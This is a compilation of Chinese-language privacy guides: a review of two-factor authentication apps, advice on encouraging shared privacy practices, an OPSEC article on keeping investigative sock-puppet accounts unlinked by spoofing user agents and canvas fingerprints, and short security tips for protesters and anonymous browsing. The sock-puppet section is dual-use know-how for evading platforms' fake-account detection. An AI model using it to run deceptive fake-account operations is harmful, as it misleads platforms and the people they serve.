列表中的每个应用程序都支持基于时间的一次性密码算法（TOTP），这是基于软件的令牌2FA的首选方法。

第一个：**Authy**

- **Install Authy: Android (free) | iOS (free)**

Authy 最好的功能是加密备份。无论何时您切换手机，只需要在新手机上打开 Authy 并输入电话号码。

然后，你会看到多个连接帐户的选项，包括短信、电话和电子邮件。这些都不够好 。最好的办法是自己的设备。

旧手机上出现提示，输入指定的短语后，您的令牌就可以转移到新设备上了。

但是，如前所述，备份是加密的。因此，您还需要一个单独的密码。

此外，您可以限制哪些设备可以访问您的令牌。

为了最大限度地提高安全性，在设置新手机后，您应该关闭“多设备”选项，这样可以阻止令牌在设备之间同步。

关闭此功能后，即使有人使用其他方法访问您的帐户，他们也无法收到该令牌。

此外，即使禁用了多设备，您仍然可以在多台设备（如平板电脑或计算机）上访问数据库。

如果要移除辅助设备的访问权限，只需选择“允许多设备”下的设备选项，然后选择“删除设备”。

Authy 还会考虑您的安全性。无论 2FA 应用程序如何改善您的帐户安全性，如果它们本身很容易被击败，那么安全性改进就没用了。

使用 Authy，您可以防范网络钓鱼、恶意软件、暴力密码破解、和中间人攻击。

对 Authy 唯一的抱怨是如何标记设备。

当与多个设备共享数据库时，Android 手机被列为“Android”，因此无法辨别哪个是哪个。但是，iPhone 和PC很容易根据其指定的名称进行标记。

Authy 很容易成为两种操作系统上最好的双因素身份验证应用程序之一。

界面易于使用，您可以安全地转移令牌。您甚至可以更改主页面的布局以便于导航。

第二个：**LastPass Authenticator**

LastPass Authenticator 在其功能列表中与 Authy 几乎完全相同。两者都提供加密备份，多设备同步和支持推送通知。

但是它缺乏对智能手表和桌面等辅助设备的支持。

- **Install LastPass Authenticator: Android (free) | iOS (free)**

就像 Authy 一样，LastPass 支持加密备份。唯一需要注意的是，它需要一个 LastPass 帐户，该帐户通常用于存储在线密码。

虽然这不是什么大问题，但您可能会觉得被迫使用您不希望首先使用的密码管理器很烦人。

但更奇怪的是，这两个应用程序是彼此分开的。

无法从密码管理器访问身份验证器，反之亦然，因此，虽然两个应用

程序共享同一帐户，但没有其他连接。

话虽这么说，但 LastPass 确实是两个平台上最好的密码管理器，所以如果你没有密码管理器，这是个一举两得的好方法。

LastPass Authenticator 对 Authy 的最大优势是能够调整令牌的参数。

虽然它需要您手动输入代码（而不是扫描QR代码），但您可以修改代码可用的持续时间和代码本身的长度。

根据您对安全性或便利性的需求，此功能可能是有益的。

但是，虽然此功能很有用，但一般公众可能不会使用它。

它是本列表中唯一没有桌面版的。也是本列表中唯一不支持智能手表的应用程序。

无论您是想要 Authy 还是 LastPass Authenticator，安全性都没什么不同。

第三个：**Duo Mobile**

Duo Mobile 专为企业设计，提供适合多个用户的多种计划。

Duo 是一个管理多用户访问和身份验证的安全平台。也是一个优秀的2FA应用程序，设计良好，易于使用。

- **Install Duo Mobile: Android (free) | iOS (free)**

除了支持 Google Authenticator 支持的相同服务外，Duo Mobile（以及 Authy）还可以更好地支持第三方服务和社交媒体网站。 更新及时。

它支持 Apple Watch 用户使用 watchOS 的官方应用程序。它有 Windows 和 macOS 的官方应用程序，因此从桌面（或笔记本电脑）登录时不需要手机。

它还支持加密的备份。您正在使用的设备将确定备份的存储位置。对于iOS，备份存储在 iCloud 上。对于 Android，备份存储在 Google 云端硬盘上。

虽然 Duo Mobile 无法同步您的帐户，但能够备份数据库非常有用，因为您决定升级手机时无需重新开始。

第四：**Microsoft Authenticator**

与 Google Authenticator 类似，Microsoft Authenticator 也不执行云备份。但是与 Google 不同，它受到更好的支持并提供推送通知。

但是后者确实要求用户进入 Microsoft 生态系统。

- **Install Microsoft Authenticator: Android (free) | iOS (free)**

Microsoft Authenticator 的一个更好的功能是它支持推送通知。

只要您使用该应用程序对 Microsoft 或 Azure Active Directory 帐户进行身份验证，您就会收到一条通知，要求您批准或拒绝发送到您设备的令牌，而不必输入代码。

如果您设备上的令牌与您在登录屏幕上看到的令牌相同，请选择“已批准”。

该过程比输入代码容易得多，虽然其他三个应用程序确实支持该功能，但支持它的服务数量仍有限。

还有安全通知功能。只要您的某个帐户发生重要事件，此功能就会向您的手机发送提醒。

这包括更改密码、从新设备登录、或从新位置登录。这样，您可以立即意识到是否发生了未经授权的操作，并且可以采取正确的操作过程。

第五：**Google Authenticator**

有人使用 Google 身份验证器而不是本列表中的其他应用程序有两个主要原因：(可以说）更好的安全性和广泛的可用性。

虽然它相比列表中其他选项具有更多的局限性。但是依旧有很多人在使用 Google Authenticator。

- **Install Google Authenticator: Android (free) | iOS (free)**

由于 Google 身份验证器不会备份您的数据库，因此数据只存在于您的设备上。因此，无论何时升级手机，都必须重新连接到所有帐户。

当然这样会更安全。

如果您的设备被盗，现代智能手机可让您远程擦除数据，无论您使用的是 Authy 还是 Google 身份验证器，都可以保护您的令牌。

但是，Authy 将数据库与您的电话号码联系起来，这可能很容易获得也可能被欺骗。

如果有人控制了您的电话线并猜测了您的密码（这是一个很大的问题），他们就可以完全访问您的令牌。使用 Google 身份验证器的话这是不可能的。

Google 身份验证器也是通过应用程序进行双因素身份验证的标准。但是，似乎谷歌正在慢慢放弃该应用程序。更新迟缓。

Google 身份验证器仅限于桌面用户的 Chrome 扩展程序。

虽然它确实限制用户只能使用 Google 的浏览器，但它可以在所有桌面平台上访问，包括 Chrome OS，与本列表中的其他应用程序不同。它也是本列表中唯一正式支持 Wear OS（以前称为 Android Wear）的2FA应用程序。

老实说，选择 Google 身份验证器的主要原因是您担心将数据备份到云端不安全。

但是，对于大多数用户来说，有更好的选择。

结论

每个人都应该使用2FA。我们知道这很费时，特别是对于不支持应用程序的网站，不得不通过电话号码接收代码不仅不安全也不方便。

使用短信或电话不如专用应用程序安全，因为您的电话号码很容易被欺骗，允许攻击者远程访问您的帐户。

使用基于软件的令牌会更安全。

现在 2FA 的最佳选择显然是 Authy。它易于使用，易于转移到新设备，并提供密码保护。

或者，如果您已经是 LastPass 密码管理器用户，并且不介意将您的密码和2FA令牌信任给同一家公司，那么 LastPass Authenticator 可以作为次要选择。〇

原文

AS9 要想保护每个人的人权和安全，我们就需要联合 - iyouport

护盾（AS）

【2018年9月24日存档】保护数字隐私是一项无人能够独自完成的工作。尽管您可以采取许多措施来保护自己的隐私，但只有当我们认识到隐私是一项团队运动时，真正的保护效果才会出现。

保护数字隐私是一项无人能够独自完成的工作。尽管您可以采取许多措施来保护自己的隐私，但只有当我们认识到隐私是一项团队运动时，真正的保护才会出现。因此，当我们在1月28日庆祝数据隐私日时，不要只是改变您自己的工具和行为以保护您自己的隐私—— 还要鼓励您的朋友、家人和同事采取行动。

1、不要只是自己安装像 Signal 这样的端到端加密消息应用程序。应该鼓励其他人加入你，这样你们之间就可以安全地进行沟通。除了保护自己的通信之外，您还应该建立了一个用户群，可以保护使用加密安全服务的其他人。

例如，如果只有您使用专门为活动家制作的小众安全消息传递应用程序，可能会令您被当局和监视者视为正在从事敏感活动的信号。但是，随着用户群变得越来越大，越来越多样化，简单地下载和使用这些技术就不太可能标志着特定活动。

- 在这里找到我们提供的全部安全工具：《安全手册》

需要事先与您的联系人讨论如何更改其设置。如果对话中的任何一个参与者启用了云备份，那么与他们进行对话的副本将在未经加密的云中存储。

2、这同样适用于电子邮件服务提供商。请不要只是将您自己的电子邮件移至安全加密的邮件提供商或您自己的服务器。应该鼓励您的所

有联系人都这样做。

否则，您即便自己使用了 Criptext 而与使用 Gmail 或 Yahoo Mail 的联系人通信，也将会使隐私暴露给您一直在试图绕避的老大哥。

- 在这里找到安全的谷歌替代品《Google 产品的替代品—完整列表》

3、不要只加密自己的设备。应该建议您的联系人和同事也都使用全盘加密，这样您的共享文件才可以做到真正的安全了。

- 在这里找到关于加密的、给活动家和记者的安全技术支持：《当你手握真相：最基本的防护知识》

4、不要只是自己安装 Privacy Badger。向您的朋友和家人讲述它的作用以及使用起来多么容易，只有越来越多的人使用这些工具我们才可以发出更响亮的声音，要求广告客户遵守规则。

5、不要只是改变自己的社交媒体设置和操作习惯。请与您的朋友讨论您在线透露的潜在敏感数据。

因为，即使您没有社交媒体帐户，或者即使您从他人的相片标记中取消了自己，您的朋友仍然可以无意识中被监视者识别出您的身份、报告出您的位置，并将您与他们联系起来。

如果您使用 Facebook 进行社会运动组织，请务必与他人合作，以保持您的 Facebook 群组的私密性和安全性。

- 在这里看到关于使用社交媒体是必须注意的事：《使用社交媒体时你必须注意什么？—— 🔐 更安全的抵抗》

6、共同保护隐私也适用于离线的情况。不要只为自己和自己的设备做好应对维稳的准备。无论你在任何一个国家，这点都是一样的，请与组织者和其他抗议参与者分享保护安全的措施，并提前讨论如何使用功能强大的照片、视频和其他媒介安全地记录并分享您的活动。

- 在这里找到给活动家的支持方案：《集会参与者有必要了解的基本安全措施》

当然，没有一套单一的方法可以适合所有人的安全需求，每个人在采取上述步骤时都应该考虑自己的威胁模型。但是，我们越是更多地分享信息和最佳实践，我们就越能够微调那些保护自己和彼此的方式。

于是，这就需要一个注重隐私的用户社区来保护任何一个人的安全。IYP 希望能为您提供帮助。

- 在这里找到如何评估您最需要什么样的东西：《了解自己的状况是保护安全的第一步》

For Data Privacy Day, Play Privacy As A Team Sport：Protecting digital privacy is a job no one can do alone. While there are many steps you can take to protect your own privacy, the real protection comes when we recognize that privacy is a team sport

原文

Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？ - iyouport

反侦查-在现实中反侦查反侦查-在现实中反监视护盾（AS）自我保护措施-技术技巧以防身

【 2019年11月8日存档】制作完美的替身在很多情况下都是被建议的，不论您是从事深度调查还是仅仅为保护自己的安全；但是，替身必需与您的真实身份*完全*无关，否则就不可能成为替身 —— 这意味着需要监视者通过任何方法都难以追踪您。

对于挖掘真相的人们来说，保持匿名通常是一个重要的问题。

尤其是你调查的对象非常敏感时（通常都很敏感，否则也不值得调查）就需要尽可能保证在调查完成之前不要被抓住。

但要明确的是，永远不可能真正匿名。相反，最好能考虑使用假名 —— 也就是角色扮演。

在这里看到我们曾经做过的介绍《角色扮演：行动者刚需》、《分裂人格的魅力》、以及《某些行动者，你需要一个袜子木偶》。

本文的目的是研究隐私关注者和OSINT从业者在使用袜子木偶时仍然有可能被识别的几种途径 —— 简单说：如何避免被识别；以及为什么数字指纹的防御应该是任何身份隐藏工作的一部分。

先搞一个笑。下面这张照片描述的就是很多试图隐藏身份的人犯过的常规错误：试图匿名的您仍然很有可能脱颖而出……

并且，更普遍的是，即便您不是调查人员、对真相毫无兴趣，作为对自身的保护免于被操纵甚至迫害，您也值得了解这些知识：关于selfcare。

监视资本主义寡头 FATBAG（Facebook Amazon Tencent Baidu

Alibaba Google） —— 以及无数其他中间商 —— 为营销目的跟踪和分析我们所有人的绝大部分网络行为，以操纵我们的行为。

⚠除非您对隐私非常积极主动，否则您的大多数在线活动都可以被收集、分析、出售、再出售。

即便您是欧盟公民也一样，⚠GDPR 也几乎没有提供对这种侵入式数据收集的真正保护。

网络公司和政府合作收集有关您和您的设备的数据的能力意味着任何保持假名的努力都可能被轻松推翻。

如果您登录到自己的 Facebook 袜子木偶帐户，然后注销并切换到您的个人帐户（或其他袜子木偶账户）—— 整个过程对 Facebook 完全透明，然后 Facebook 就可以在您的真实和假人物之间建立关联。

您就暴露了。

本文的其他部分将解释可以如何减轻这种暴露的危险性。（其中一些内容我们曾经介绍过，现在作为一个系统将它们目标化，并串联起来）

本文假设您对自我保护一无所知，于是以下内容将适用于任何首次接触这些知识的用户：没有门槛。

IP地址

当您连接到互联网时，您的计算机具有唯一的公共IP地址，该地址会向您访问的网站公开。

这是众所周知的，并且常见的 Opsec 实践是使用Tor或VPN来伪装您的真实IP地址。我们也多次介绍过（在本网搜索“洋葱头会让谁流泪”）

技术角度上这样做很有效，但是它有很多限制：使用Tor浏览器限制了许多网站的功能，而且，⚠Tor不掩饰你正在使用Tor的事实 —— 每个人都可以看到你正在使用Tor，即使他们不知道你是谁。

调查人员都知道，由于谷歌吸取的数据量异常庞大，于是谷歌应用对于深度挖掘的开源情报来说非常有效。

但是，您很难在掩饰真实身份的情况下使用谷歌应用，您会被频繁地

要求下面这种愚蠢的自证：

（相关解决方案和注意事项详见这里《**googledorking-高级运算符完整列表**》这篇文章的下面后半部分）

VPN是另一种选择，尽管它们也有一些局限性。

而且与TOR一样，许多 VPN IP 地址都是众所周知的，并且经常被列入黑名单，因此您在访问之前必须填写无限的验证码。

延伸：

- 《什么时候你需要VPN？》
- 《检测您的VPN是否安全》
- 《值得推荐的VPN，以及其他全套安全工具》

一个好的 VPN 服务是一个很好的 Opsec 操作安全的重要工具，但 **Tor** 或 **VPN** 都不是完全神奇的工具，“完全神奇”意味着你不必关注其他领域只需要使用它们就够了 —— 绝对不够。

我还认为 IP 地址对谷歌或亚马逊等数据监控公司来说并不一定非常重要。

根据您访问网络的方式和位置，您的IP地址可能会定期更改，或者可能会与许多其他人共享，因此，对于想要确切知道您是谁以及您希望在互联网上做什么的监视者来说，它的价值有限。

但是，这并不意味着您不应该考虑您的IP地址可能会揭示您的身份，但重要的是要注意它不是完整的生活全景图。

它是在与其他关于您的信息结合起来时才会真正暴露您。

Cookie 和 **Cookie** 自动删除

Cookie 也是一种众所周知的跟踪方法。

有不同类型的 cookie，但是对你的袜子木偶活动的主要威胁是：在你访问网站后，cookie 可以在网上跟踪你。

除了隐私方面，对 opsec 安全操作的威胁非常明显。

⚠Cookies 不关心你已经完成了多少查询还是只是想做一些个人浏

览；不论如何它们仍会继续通过网络跟踪您，以建立您的行为习惯档案。

这对您的 OSINT 深度调查工作的威胁是非常明显的。

以下用 LinkedIn 做一个示例，⚠ LinkedIn 是网络上用于跟踪监视的最具侵略性的网站之一。

在访问该网站之前，我清除了我的 cookie 然后再次尝试访问。 **LinkedIn** 不喜欢这样做，因为它不再能识别我是谁（即使我的**IP**地址保持不变）：

继续登入时我的浏览器插件亮得像一堆圣诞树一样：

「图」

左起：*UBlock Origin, Privacy Badger, and Cookie Auto-Delete*

⚠请注意，即使您没有点击网页上的任何内容，LinkedIn 也会尝试加载大量的脚本和 cookie，主要是为了跟踪您的行为、并尝试尽可能多地了解您的在线活动。

延伸：

- 《把 LinkedIn 作为情报挖掘工具：简易指南》
- 一个演示《开源调查揭示肢解华盛顿邮报专栏作家的凶手》
- 工具包之一《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》

如果我从真正的 LinkedIn 帐户切换到用于调查的袜子帐户账户，那么对 LinkedIn 来说，⚠它可以看到一切，并且扩展到任何运行具有类似跟踪功能的其他网站。

这就是为什么您购买杂货的营销公司也知道你访问过什么样的色情网站。

您可以使用上图所示的三种插件工具来缓解这种情况。

UBlock Origin（适用于 Firefox 和 Chrome）可过滤显示广告的请求，并阻止您的浏览器检索和显示营销内容。

Privacy Badger（Firefox 和 Chrome）用于识别和阻止跟踪器。在这

种情况下，它在我的 LinkedIn 主页上检测并阻止了不少于10个不同的跟踪脚本：

我通过 cookie 处理侵入式跟踪的首选工具是 Cookie Auto-Delete。

它不会阻止浏览器下载 cookie，但它可以确保在关闭浏览器选项卡时，删除与该选项卡关联的任何 cookie。

这可以防止 Cookie 在您的浏览会话中跟踪您，将您的网络活动进行伪装。 Cookie 自动删除适用于 Firefox 和 Chrome。

浏览器指纹识别

浏览器指纹识别是一种比IP地址或 cookie 更新的跟踪概念。

它并不是众所周知的，但它更具侵入性。

因此对希望保持谨慎的任何调查人员来说都提出了更大的挑战。

有一篇很棒的学术论文概述了这方面的一些研究。

浏览器指纹识别的基本前提是可以将浏览器和计算机的独特功能结合起来，并将它们组合成一个独特的值，然后可以使用它在网上跟踪你的一举一动。

具体说就是，通过查看浏览器软件版本、操作系统、系统字体、图形卡、屏幕分辨率和许多其他变量等信息，可以构建一个独特的浏览器“指纹”，然后用来在整个网络中跟踪您。

从跟踪效果上对比，⚠浏览器指纹识别比 IP 地址或 cookie 更有效和持久。

💡有几种很好的工具可用于分析您自己的浏览器指纹。

我最喜欢的两个是 EFF 的 Panopticlick 工具和 BrowserLeaks 网站。

为了演示这个过程是如何工作的，我将在没有任何拦截插件的情况下“按原样”查看我自己的浏览器指纹，然后可以看到，如何为了避免被识别而成功地模糊一个人的在线指纹。

以下是 Panopticlick 在 Linux Mint 18.3 上扫描全新 Chrome 时的第一个结果：*Here we go…*

使用默认设置的干净 Chrome，结果如下：简直是标新立异

请注意，这里不仅没有受到任何保护，我的浏览有一个独特的指纹，可以让我轻松被识别出来。

关于这意味着什么更详细的介绍见：

Panopticlick 查看我的浏览器设置如何被显示在网站上，然后计算其他人具有完全相同设置的可能性。

识别信息基于一些相当复杂的数学，这些数学评估任何一个人的任何给定事实是否正确的可能性。

简单来说，这是一个1到33分的分数，其中33分代表完全独特 —— 也就是说“绝对是你”。

第三列以不同的方式表达相同的信息：通过查看有多少浏览器通常会共享相同的信息。

在这种情况下，它显示19.51浏览器中有1个与我在同一时区，1.19中有1个启用了 cookie，但 204,955 个浏览器中只有1个具有与我相同的画布指纹。

⚠这意味着我的画布指纹对于想要识别我的任何人来说都非常独特，无论我使用哪个帐户登录。

从 OSINT 的角度来看，这意味着：无论我的IP地址是什么、甚至不论我是否清除了 cookie，只要我的硬件和浏览器设置保持不变，我就很容易被识别到真实身份。

⚠不论创建多少个袜子木偶匿名帐户都会被揭露出来。

这不是新鲜事。这就是 Facebook 、Twitter 和其他网站能够快速识别从同一台机器运行的多个帐户的方式之一 —— 推特已经封锁了很多持有多账户的人 —— 因为他们怀疑这是机器人或袜子木偶。

💡幸运的是，通过一些工具和一些调整，就可以改变浏览器在互联网上的显示方式。

我安装并启用了 UBlock Origin 来阻止广告/跟踪器，使用 Privacy Badger 阻止跟踪脚本，以及 NoScript 来禁用任何不需要的 JavaScript 运行。

以下是这样做之后的新结果：

显然已经取得了一些进展 —— 我的浏览器现在阻止跟踪广告和跟踪器。

需要注意的一点是，尽管我在 Chrome 设置中发送了“请勿跟踪”的请求，但结果没有任何区别。谷歌的“请勿跟踪”只是个骗局。

不止谷歌，证据表明大多数公司完全无视这个“Do Not Track request”，因此不能将它们视为隐私设置。

但其他指纹结果怎么样？如下：

很棒，我不再那么独一无二了。

通过安装 NoScript 几乎没有网站可以读取任何浏览器指纹数据点。

NoScript 阻止 JavaScript 运行，并且由于大多数指纹识别工具都依赖于 JavaScript，因此它们只能停止工作，无法曝光我是谁。*NoScript v JavaScript*

但是这有一个缺点：NoScript 有时太强大了，需要进行大量的调整才能做到正确。

大多数现代网站仍然需要 JavaScript 才能正常运行，因此使用 NoScript 会导致大量页面中断。

可以根据需要禁用/启用单个脚本，因此您需要耐心等待一切顺利运行，但它作为反指纹识别工具是非常有效的。

User Agent

您的浏览器还会将有关自身的信息发送给它所连接的网站。

它提供的信息之一是用户代理字符串 User Agent，其中包含有关您的浏览器和操作系统的信息。

在本案例中测试一下，使用这个：What Is My User Agent? 将得到下面的结果：

「图」

它正确地说出我在 Linuz x86_64 系统上运行 Chrome

75.0.3770.100。

UA字符串中提到的其他浏览器技术是关于兼容性而不是我正在使用的实际浏览器 —— 对 AppleWebKit 和 Gecko 的引用提供了有关我的浏览器兼容的软件类型的信息，以便网站知道如何正确显示内容。

正确显示，这是用户代理字符串存在的主要合理原因，但是，从隐私的角度来看，它们也是可以用来识别您的身份另一个数据点。

为了解决这个问题，可以使用简单的 User Agent Switcher 插件。

这会骗网站说您正在使用与您实际使用的浏览器不同的浏览器，因此您的真实浏览器详细信息会被混淆。

一旦安装在 Firefox 或 Chrome 中，**User Agent Switcher** 就可以让您的浏览器有效地冒充其他浏览器或操作系统。

在 Chrome 中安装后，我选择了 Android User Agent string 并在 whatismybrowser.com 上进行了检查：

「图」

对于同一个网站，我现在看起来似乎在一个完全不同的设备和操作系统上运行。我的 Panopticlick 足迹现在也显示了相同的变化：

「图」

⚠这强调了在线匿名和假名的重要观点。在进行深度调查时，你永远不能做到真正匿名。

因为您必须向网站提供某种 User Agent string。因此，最好提供一个虚假的用户代理，而不是期待根本不用。

画布指纹

浏览器指纹识别最有效的方面是画布指纹。

已知使用画布指纹识别的网站列表很长且已经过时，因此使用画布指纹识别的网站的实际数量可能要大得多。

画布指纹识别的工作原理是获取有关浏览器显示字体和图形的方式的信息，然后将它们组合成一个可用于识别您身份的唯一哈希。

您的操作系统、图形卡和驱动程序、系统字体、屏幕分辨率、和其他变量的组合非常独特，可以将它们组合成一个哈希。

此哈希是您计算机的唯一数字指纹，网站就是用这个东西来识别您。

⚠即使你已经制作了非常好的袜子木偶，如果你从同一台机器上运行所有帐户，那么它们对于监视者来说一眼就能看出是您的操作。您的身份就暴露了。

Panopticlick 可以显示画布指纹哈希的样子。

我再次运行测试（禁用 NoScript）结果如下：

「图」

当我加载页面时，Panopticlick 为我的浏览器提供一个小图像，然后观察当我的浏览器尝试渲染时会发生什么。

此计算的值显示为哈希：2eaaa026e19b958c09debc6d23f6a64c。

这对人类来说没有任何意义，但是，对于任何运行带有画布指纹识别功能的网站的人来说，这都是我唯一可识别的东西。

⚠即使您更改 IP 地址并清除了 cookie，对于网站识别您来说也没有任何影响，如果你正在尝试进行 OSINT 深度调查，这是非常危险的。

从真实账户切换到袜子木偶没有任何区别，因为底层硬件—软件组合是相同的。您的伪装身份就会被扒光。

Facebook 没有公开解释他们如何检测可疑的虚假账户，但他们肯定会在许多其他技术中使用画布指纹识别。

这大概就是为什么很多调查人员无法为 OSINT 目的创建持久的 Facebook 帐户。

那如何解决这个问题呢？

正如本文中多次强调的，⚠ 重要的是要考虑假名，而不是匿名 —— 你不能让监视者看不见你，这会让你变得特别可疑；相反，你应该致力于让他们看到一个假象。

不论是对于面部识别防御思路来说，还是政治方面的“战略性欺骗”思路，都是如此 —— 掩真不是全部，示假才是关键。没错，反情报领域有很多通用的思考方式。

在这里回顾：

- 《抵制面部识别的正确思考方式应该什么样的》
- 一个技术角度很有效的抵制方案（文章后半部分）《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》
- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》
- 《媒体操控：战略性欺骗的重头戏》

对于本文的目的，就是说：不要简单地希望我们没有留下指纹并试图隐藏它，而是报告错误值，这更容易减轻监视者的怀疑。

我为 Chrome 测试了两个 Canvas Fingerprinting 插件：Canvas Fingerprint Defender 和 Canvas Blocker。

当我重新运行 Panopticlick 测试时，得到了一个新的结果：

「图」

相当不同了！

我的浏览器不再是将独特的哈希值呈现给网站，而是呈现随机值，因此无法轻松地在网络上跟踪我。

我也尝试过 Canvas Defender，它与 Panopticlick 或 BrowserLeaks 之间没有任何区别。

对于 Firefox，我推荐使用 CanvasBlocker，Canvas Fingerprint Defender 或 Canvas Blocker。

结论

希望这篇文章能清楚地解释：“要创建一个真正有效的**OSINT**袜子木偶帐户、或者在任何情况下保护您自己的真实身份，您需要的不仅仅是一个**VPN**、一个假名和随机照片（假脸）。

还必须考虑网站及其背后的海量数据公司正在以什么方式盯着你。

当然，对于解决方案相关资源还有很多，以下这些您都可以尝试：

BrowserLeaks

Am I Unique?

Pixel Privacy

BrowserPrint

好运！每个人都应该获得免于被监视的自由。〇

原文

一句话安全须知：记住这些句子，以简单地优化您的安全性 - iyouport

护盾（AS）自我保护措施-技术技巧以防身

希望您能把它们当成习惯。操作安全理应成为习惯。

我们在列表-5中有 “护盾” 板块，列表-3 中有 “技术防身” 板块，前者为敏感人士服务，后者为大众服务。以及多个以安全性为主题的系列内容，比如《整体安全》、《变得难以被追踪》、《在敌对环境中保护自己》、《完美隐身》等等。这些内容都旨在帮助您构建一套防御的思考方式。好的防御是恰当的防御，它不会是最难的、也不应该是最贵的，而是最适合您的具体情况的。

的确有一些基础性的防御步骤，几乎所有人都用得到，也应该被推行。本文将对此进行一点简要的总结，用最简单的短句来描述您值得考虑的安全习惯。

匿名化您的在线足迹

「图」

无论您是亲自参加抗议还是在数字空间工作（或两者都是），隐藏您的浏览习惯、元数据、和搜索历史，都是很重要的。这些数据可以立刻被作为证据，或者甚至在几个月或几年后暴露您和您的同伴的身份。

即使没有法院命令或政府的直接监控，您的数据历史也可以从综合性服务中被买到 —— 包括合法的，也包括非法的。

在互联网上，您随时都会被追踪。您走到哪里都会被追踪到哪里，无论是您的ISP、广告商、cookies，还是网站本身。这将是您的IP地址，您大概在世界的什么地方，您在互联网上去过哪些地方，以及通常您持有什么社交媒体账户。

即使只是您使用的浏览器也能告诉别人您是谁，根据所谓的浏览器指

纹。由于硬件和软件的组合有限，您可能有一个独特的“指纹”，仅仅是因为您的电脑设置的特定组合是罕见的。

互联网上的个人隐私一直都在从各个方面被侵蚀，包括广告和商业、薄弱的政府保护、被黑客攻击的数据库、泄露您的信息的产品和服务（通过故意出售信息或“意外”泄露）。但是，互联网从来就不是真正为了匿名而存在的。要使你的信息匿名，需要付出努力。

1、在抗议活动中

「图」

A、关于手机/其他智能设备

「图」

最好是把您自己的手机留在家里；

警察可以通过手机信号塔追踪手机—— 这可以确认您在“敏感地点”的存在或在以后确认您的身份；

信息也可以被“黄貂鱼”拦截，它冒充信号塔；

如果您使用安卓系统，把它留在家里—— 它有被警察入侵的历史；

如果您有一个旧的/备用的/一次性手机，考虑用它来代替 —— 即使没有SIM卡，只要可以连接到WIFI和蓝牙也没问题。

如果您确实必需带着自己的手机，想一想您在上面存储了什么，以及所有这些东西是否会使您或您最关心的人处于危险之中；

根据需要删除联系人和信息。

备份您的数据，以防数据丢失。

设置一个复杂的锁屏密码。不要使用脸部或指纹识别，不要用单词或容易猜到的数字。

关闭主屏幕的通知 —— 在没有解锁手机的情况下，不要让任何东西显示出来。

将您的手机设置为可以极快地进入锁屏状态。

开启飞行模式。

确保 Airdrop 没有开启。

如果您的设备丢失或被警察没收，撤销访问权限并远程注销应用程序；

更改账户的密码有时可以强制注销。

使用 Signal、session、或其他加密的消息系统进行通信。请注意，警察仍然可以监视元数据（关于你什么时候发送信息，通话多久等等），但不能监视加密信息的实际内容。

关掉定位服务! 这将无法将GPS坐标附加到照片元数据中。

B、关于拍照。

「图」

照片可以非常有用，但是，

要在不解锁手机的情况下拍摄照片；

不要拍摄可能被识别出身份的人的照片；

如果您在照片中捕捉到一个人，请将其脸部模糊化或屏蔽掉；

拍完照片后，截图以删除 exif 数据。

Exif 数据存储了图像上的信息，如快门速度、是否使用了闪光灯、日期和时间，以及GPS信息。这可以成为证据—— 不要把照片直接发布出去，而是截图图片，这样元数据就被覆盖了。

在您对照片进行截图后，删除原始照片。

在没有得到他人明确同意的情况下，不要给他人贴上标签，

也不要在公众可见的空间讨论任何私人计划。

C、关于防止自己被识别。

「图」

戴上头巾/面具、太阳镜，遮住任何可识别的特征，特别是纹身和疤痕，包括明显的痣。

不要穿带有可识别标志的衣服，或独特的衣服。坚持使用纯色，或全黑。

最好不要买东西，如果必需买就用现金。信用卡/数字支付都是可以立即被追踪的。

带上可以更换的普通衣服，以便在抗议活动结束后，或者在您必须迅速离开现场时使用。

如果您有能力，可以骑自行车或步行，不要开车—— 车牌阅读器很容易识别您的身份。

2、在互联网上

「图」

如果您在做研究或在网上活动，不应该被追踪到你，这里有一些掩护自己的方法。

A、使用火狐浏览器。

「图」

火狐浏览器增加了追踪拦截和其他数据保护功能，特别是比Chrome浏览器更强。

不要安装任何您不信任的插件，但要安装有助于保护您的数据安全的插件 —— 比如 privacybadger、UblockOrigin。

不使用任何没有隐私声明的软件。

不使用 Dropbox。他们是一家非常反隐私的公司。使用 onionshare 进行文件共享。

不使用谷歌的东西，这里有谷歌服务的替代品。

使用隐身模式。老实说，这并不是一个解决方案，但会混淆一些跟踪。

B、一次性账户。

「图」

始终为新账户制作一个没有任何与您有关的信息的新电子邮件。

使用一个假名字。这是合法的，您应该这样做，以避免您的信息数据被跨服务挖掘。

关掉您电脑上的位置共享。

永远不要用信用卡/银行卡支付，最好是现金。

随手删除 cookies 和浏览历史。

关闭 Javascript —— 这是一个无赖，虽然真的很有帮助。

使用 Tor浏览器。Tor通过在世界各地的节点进行路由，使您的流量处于半匿名状态。这是您访问暗网的方式，但您不必去暗网网站，只需使用Tor进行常规浏览。

还有其他浏览器/系统，如 Freenet 和 I2P。

使用代理或VPN（或两者都使用）。代理隐藏您的IP地址，使您看起来像在别的地方，但不对您的数据进行加密。适合于低风险的任务。VPN也使您的IP看起来像来自其他地方，但明显更安全。

更多-」 VPN和代理之间的区别。

一些代理。

https://hidester.com/proxy/

https://hide.me/en/proxy

您需要确保您的VPN已经过公开审计。

可以试试 Proxygambit ，这是一种简单的匿名设备，它允许您从世界任何地方访问互联网，而无需透露您的真实位置或 IP。

使用一个匿名的操作系统 —— 比如 Tails 或 ZeusGuard，甚至是 Windows To Go。在启动时分配一个随机的DHCP地址。

IronKey 也可以考虑：

一旦您都设置好了，就检查一下是否有DNS泄露：

https://dnsleaktest.com/

https://dnsleaktest.com/what-is-a-dns-leak.html

3、如果您觉得自己已经被盯上了。

「图」

这种情况下您需要清理您的在线存在，以防身份被盗用/黑客攻击/人肉骚扰/威胁/等。

A、自我检查

「图」

搜索您的旧邮件，翻阅您能想到的每一个曾经使用过的电子邮件；查看那些邮件，以帮助您记起自己可能使用某个邮箱地址注册过的其他网站。

然后，从被遗忘的/不再使用的服务中删除您的账户。

使用每个电子邮件账户的搜索功能，寻找 “注册 Sign up”、“欢迎 Welcome” 等关键字。

恢复并登录到每个服务，清除任何内容和信息，因为一个账户即使在理想的 “受保护” 状态下也可能被归档。

记下您曾经使用过的用户名、密码、服务和使用过的电子邮件地址；然后删除该账户。

